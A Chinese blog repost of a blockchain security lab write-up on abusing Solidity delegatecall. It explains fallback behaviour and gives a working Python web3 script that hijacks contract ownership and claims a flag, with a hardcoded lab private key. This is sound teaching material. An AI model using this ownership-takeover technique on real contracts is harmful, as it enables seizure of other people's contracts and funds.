当前位置: 首页 > news >正文

某60区块链安全之Call函数簇滥用实战一学习记录

区块链安全

文章目录

  • 区块链安全
  • Call函数簇滥用实战一
    • 实验目的
    • 实验环境
    • 实验原理
    • 实验内容
    • 实验过程


Call函数簇滥用实战一

实验目的

学会使用python3的web3模块
学会以太坊Delegatecall漏洞分析及利用

实验环境

Ubuntu18.04操作机
实验工具
python3

实验原理

call 外部调用时,上下文是外部合约;delegatecall 外部调用时,上下文是调用合约
fallback函数调用条件:一是如果合约在被调用的时候,找不到对方调用的函数,就会自动调用 fallback 函数;二是只要是合约收到别人发送的 Ether 且没有数据,就会尝试执行 fallback 函数,此时 fallback 需要带有 payable 标记,否则,合约就会拒绝这个 Ether

实验内容

找到Delegatecall漏洞并形成利用,把flag标志设置为true
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10005

实验过程

Call函数簇滥用实战一 实验步骤
获取合约地址和合约源代码
nc ip 10005连接到题目,输入1,获取部署合约的game account及token
在这里插入图片描述

打开http://ip,输入上述分配的game account,点击Request获取eth
在这里插入图片描述
在这里插入图片描述

nc ip 10005连接到题目,输入2,获取部署合约的地址及new token
在这里插入图片描述

nc ip 10005连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞
题目要求把flag设置为true,分析合约代码,需要修改合约owner为自己
在这里插入图片描述

漏洞主要在于使用了delegatecall函数调用,delegatecall外部调用时,上下文是调用合约,所以delegate.delegatecall(msg.data)其实调用的是delegate自身的msg.data。
熟悉 raw 格式的交易的 data 的会知道:data 头4个 byte 是被调用方法的签名哈希,即 bytes4(keccak256(“func”)) , remix 里调用函数,实际是向合约账户地址发送了( msg.data[0:4] == 函数签名哈希 )的一笔交易,所以我们只需调用 ETH5 的 fallback 的同时在 msg.data 放入 pwn() 函数的签名即可。
这里其实主要思路就是 fallback 的触发条件:一是如果合约在被调用的时候,找不到对方调用的函数,就会自动调用 fallback 函数;二是只要是合约收到别人发送的 Ether 且没有数据,就会尝试执行 fallback 函数,此时 fallback 需要带有 payable 标记,否则,合约就会拒绝这个 Ether。
综上,我们只需调用 Delegation 的 假pwn() 即可,这样就会触发 Delegation 的 fallback ,这样 pwn 的函数签名哈希就会放在 msg.data[0:4] 了,这样就会只需 delegate 的 pwn() 把 owner 变成自己
EXP利用
使用EOA账户调用ETH5合约的假pwn()函数将owner修改为攻击者自己,然后调用ETH5的getflag()函数即可,编写exp,将这一过程自动化,下述contract_address的地址换成自己题目合约的地址

from web3 import Web3, HTTPProvider
from solcx import compile_source
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0xBD29D46744beeD67e15bB20bf0f159aEfEEbBcE7"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receiptdata = Web3.keccak(text='pwn()').hex()[:10]# call pwn() in ETH5
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
print(txn_receipt)time.sleep(5)# call getflag() in ETH5
data = Web3.keccak(text='getflag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
print(txn_receipt)

运行exp,status=1代表交易成功

在这里插入图片描述

nc ip 10005连接到题目,输入3,输入之前的new token,获取flag
在这里插入图片描述

相关文章:

某60区块链安全之Call函数簇滥用实战一学习记录

区块链安全 文章目录 区块链安全Call函数簇滥用实战一实验目的实验环境实验原理实验内容实验过程 Call函数簇滥用实战一 实验目的 学会使用python3的web3模块 学会以太坊Delegatecall漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 call 外部调用…...

最新AIGC创作系统ChatGPT系统源码,支持最新GPT-4-Turbo模型,支持DALL-E3文生图,图片对话理解功能

一、AI创作系统 SparkAi创作系统是基于OpenAI很火的ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统,支持OpenAI-GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美,可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如…...

openssl+ SM2 + linux 签名开发实例(C++)

文章目录 一、SM2 签名理论基础二、SM2签名开发实例 一、SM2 签名理论基础 SM2是中国国家密码管理局发布的椭圆曲线密码算法标准,用于数字签名、密钥交换和公钥加密等安全通信场景。以下是SM2签名的理论基础相关知识点: 椭圆曲线密码学(Elli…...

U4_1:图论之DFS/BFS/TS/Scc

文章目录 一、图的基本概念二、广度优先搜索(BFS)记录伪代码时间复杂度流程应用 三、深度优先搜索(DFS)记录伪代码时间复杂度流程时间戳结构BFS和DFS比较 四、拓扑排序一些概念有向图作用拓扑排序 分析伪代码时间复杂度彩蛋 五、强…...

STM32框架之按键扫描新思路

STM32框架之按键扫描新思路 引入代码展示思路分析 我们学习了定时器实现毫秒级/秒级任务框架,这期我们基于任务框架学习按键扫描新思路。 引入 在按键扫描的过程中,最重要的一步就是按键消抖,解决的方法最简单粗暴的就是先扫描一次按键状态&…...

完美解决k8s master节点无法ping node节点中的IP或Service NodePort的IP

1、问题一 使用搭建好了K8S集群,先是node节点加入k8s集群时,用的内网IP,导致master节点无法操作node节点中的pod(这里的不能操作,指定是无法查看node节点中pod的日志、启动描述、无法进入pod内部,即 kubec…...

弗洛伊德算法(C++)

目录 介绍: 代码: 结果: 介绍: 弗洛伊德算法(Floyd algorithm)也称为Floyd-Warshall算法,是一种用于求解所有节点对之间的最短路径的动态规划算法。它使用了一个二维数组来存储所有节点…...

相对定位、绝对定位、固定定位、绝对定位堆叠顺序

相对定位:相对自己本身进行偏移 CSS语法: position: relative;/*相对自己进行定位*/ top: 10px;/*距离上边*/ left: 10px;/*距离左边*/ 演示图: 绝对定位:默认以浏览器进行定位。如果想依照父盒子定位,需要在父盒子…...

px4+vio实现无人机室内定位

文章主要讲述px4 如何利用vins_fusion里程计数据实现在室内定位功能。 文章基于以下软、硬件展开。 硬件软件机载电脑: Intel NUC系统:Ubuntu 20.04相机: Intel Realsense D435iros:noetic飞控:Pixhawk 2.4.8固件&am…...

享元模式 rust和java的实现

文章目录 享元模式介绍实现javarust实现代码 rust仓库rust仓库 享元模式 享元模式(Flyweight Pattern)主要用于减少创建对象的数量,以减少内存占用和提高性能。这种类型的设计模式属于结构型模式,它提供了减少对象数量从而改善应…...

XmlElement注解在Java的数组属性上,以产生多个相同的XML元素

例如&#xff0c;下面这段XML数据&#xff0c;有多个data元素&#xff0c;并且它们级别相同: <?xml version"1.0" encoding"UTF-8"?><request><reqtype>05</reqtype><secret>test</secret><body><userid&…...

SQLServer 数字加千分位 用FORMAT函数强转不管多大位数

问题 CONVERT ( money, CONVERT ( money, CAST ( round( FTP_AMOUNT, 2 ) AS NUMERIC ( 20, 2 ) ) ) 1 ) AS FTP_AMOUNT用的money函数 结果空间不足&#xff0c;无法将 money 值转换为 varchar。 可以强转 select FORMAT(CAST ( round( ‘-8926143870680.62000000’, 2 ) AS N…...

说说mvc和mvvm的区别和联系

mvvm 与mvc mvvm 与mvcmvc和mvvm的区别和联系 举例说明mvvm与mvc MVC是一种用于构建应用程序的架构模式&#xff0c;它也将应用程序的逻辑和界面分离。它由三个主要组件组成&#xff1a; 模型&#xff08;Model&#xff09;&#xff1a;表示应用程序的数据和业务逻辑。视图&a…...

linux rsyslog综合实战2

本次我们通过rsyslog服务将A节点服务器上的两个(E.g:多个日志也可以)日志(Path:/var/log/245-1.log、245-2.log)实时同步到B节点服务器目录下(Path:/opt/rsyslog/245) 1.rsyslog架构 2.环境信息 环境信息 HostnameIpAddressOS versionModuleNotersyslog1192.168.10.245CentOS…...

AcWing 4. 多重背包问题 I 学习笔记

有 N&#xfffd; 种物品和一个容量是 V&#xfffd; 的背包。 第 i&#xfffd; 种物品最多有 si&#xfffd;&#xfffd; 件&#xff0c;每件体积是 vi&#xfffd;&#xfffd;&#xff0c;价值是 wi&#xfffd;&#xfffd;。 求解将哪些物品装入背包&#xff0c;可使物…...

解决selenium使用chrome下载文件(如pdf)时,反而打开浏览器的预览界面

文章目录 解决方法完整的配置 解决方法 在初始化浏览器的时候&#xff0c;添加以下配置即可&#xff1a; option webdriver.ChromeOptions()prefs {"profile.managed_default_content_settings.images": 2, # 禁止加载图片# permissions.default.stylesheet: 2, …...

2024年山东省职业院校技能大赛中职组“网络安全”赛项竞赛试题-C

2024年山东省职业院校技能大赛中职组 “网络安全”赛项竞赛试题-C 一、竞赛时间 总计&#xff1a;360分钟 二、竞赛阶段 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 A、B模块 A-1 登录安全加固 180分钟 200分 A-2 本地安全策略设置 A-3 流量完整性保护 A-4 …...

基于Python实现用于实时监控和分析 MySQL 服务器的性能指标和相关信息工具源码

MySQL命令行监控工具 - mysqlstat 介绍 mysqlstat 是一个命令行工具&#xff0c;用于实时监控和分析 MySQL 服务器的性能指标和相关信息。 它可以帮助 DBA&#xff08;数据库管理员&#xff09;和开发人员定位和解决数据库性能问题。 以下是 mysqlstat 工具的主要功能&#…...

Android 10-13鼠标右键返回功能适配

Android 10-13鼠标右键返回功能适配 文章目录 Android 10-13鼠标右键返回功能适配一、前言二、鼠标右键适配修改1、Android 10 以及更低版本2、Android11 或者更高版本三、总结1、鼠标右键返回功能修改主要代码2、标右键返回修改代码系统源码搜索3、其他 一、前言 Android 原生…...

51单片机/STM32F103/STM32F407学习1_点亮LED灯

目录&#xff1a; 基础知识单片机从0实现单片机GPIO介绍 参考连接&#xff1a; 野火霸天虎教程 https://doc.embedfire.com/products/link/zh/latest/mcu/stm32/ebf_stm32f407_batianhu_v1_v2/download/stm32f407_batianhu_v1_v2.html x.1 基础知识 x.1.1 指针中的取地址&a…...

我们到底在为安全运维服务买单什么?——国内厂商核心能力拆解

在网络安全行业&#xff0c;有一个常年存在的悖论&#xff1a;企业花大价钱采购了各类安全设备&#xff0c;构建了看似固若金汤的防御体系&#xff0c;但安全事件依然频发&#xff1b;于是&#xff0c;企业又不得不掏出一笔预算购买“安全运维服务”。很多管理者在签字时都会产…...

终极游戏模型管理中心:XXMI-Launcher完整使用指南

终极游戏模型管理中心&#xff1a;XXMI-Launcher完整使用指南 【免费下载链接】XXMI-Launcher Modding platform for GI, HSR, WW and ZZZ 项目地址: https://gitcode.com/gh_mirrors/xx/XXMI-Launcher 对于热爱二次元游戏的玩家来说&#xff0c;管理各种模型导入器&…...

Arduino新手避坑指南:用Tinkercad在线仿真搞定RGB灯实验,免硬件零成本入门

Arduino新手避坑指南&#xff1a;用Tinkercad在线仿真搞定RGB灯实验 第一次接触Arduino时&#xff0c;最让人头疼的不是代码逻辑&#xff0c;而是那些闪烁的LED灯、烧焦的电阻和永远找不到的杜邦线。如果你也曾在面包板前手足无措&#xff0c;或是担心短路损坏昂贵的开发板&…...

海南能量阀厂家

在当今流体控制领域&#xff0c;能量阀的重要性日益凸显。海南地区也有不少能量阀厂家崭露头角&#xff0c;为众多项目提供着关键的设备支持。今天&#xff0c;我们也会着重提到在行业中表现出色的天津水阀机械有限公司&#xff0c;它的产品同样具备诸多优势&#xff0c;值得关…...

工业AI质检的下一站:从MVTec AD到3D点云,聊聊少样本学习与异常合成的实战技巧

工业AI质检的下一站&#xff1a;从MVTec AD到3D点云&#xff0c;聊聊少样本学习与异常合成的实战技巧 在工业质检领域&#xff0c;AI技术正经历从实验室到产线的关键跃迁。当算法工程师们刚为MVTec AD数据集上98%的准确率欢呼时&#xff0c;产线上传来的警报却揭示了残酷现实&a…...

LookScanned.io:3分钟让你的电子文档秒变专业扫描件,无需打印机和扫描仪!

LookScanned.io&#xff1a;3分钟让你的电子文档秒变专业扫描件&#xff0c;无需打印机和扫描仪&#xff01; 【免费下载链接】lookscanned.io &#x1f4da; LookScanned.io - Make your PDFs look scanned 项目地址: https://gitcode.com/gh_mirrors/lo/lookscanned.io …...

ThinkPad风扇控制终极指南:用TPFanCtrl2实现智能散热与静音平衡

ThinkPad风扇控制终极指南&#xff1a;用TPFanCtrl2实现智能散热与静音平衡 【免费下载链接】TPFanCtrl2 ThinkPad Fan Control 2 (Dual Fan) for Windows 10 and 11 项目地址: https://gitcode.com/gh_mirrors/tp/TPFanCtrl2 你是否厌倦了ThinkPad风扇在轻负载时的频繁…...

【稀缺资源】AISMM 2.1评估矩阵首次公开:12项技术品牌健康度诊断+即时生成个人IP升级路线图

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;AISMM模型与技术品牌塑造 AISMM&#xff08;Artificial Intelligence Strategy Maturity Model&#xff09;是一种面向AI驱动型组织的技术战略成熟度评估框架&#xff0c;它将技术品牌塑造视为组织能力…...

分布式爬虫框架claw-farm:架构解析与生产级实战指南

1. 项目概述与核心价值最近在GitHub上看到一个挺有意思的项目&#xff0c;叫“claw-farm”&#xff0c;来自PermissionLabs。光看这个名字&#xff0c;你可能会联想到“爬虫农场”或者“数据抓取集群”之类的概念。没错&#xff0c;这正是一个专注于分布式网络爬虫和数据采集的…...

RePKG终极指南:免费解锁Wallpaper Engine资源的完整教程

RePKG终极指南&#xff1a;免费解锁Wallpaper Engine资源的完整教程 【免费下载链接】repkg Wallpaper engine PKG extractor/TEX to image converter 项目地址: https://gitcode.com/gh_mirrors/re/repkg 你是否曾经对Wallpaper Engine中精美的动态壁纸着迷&#xff0c…...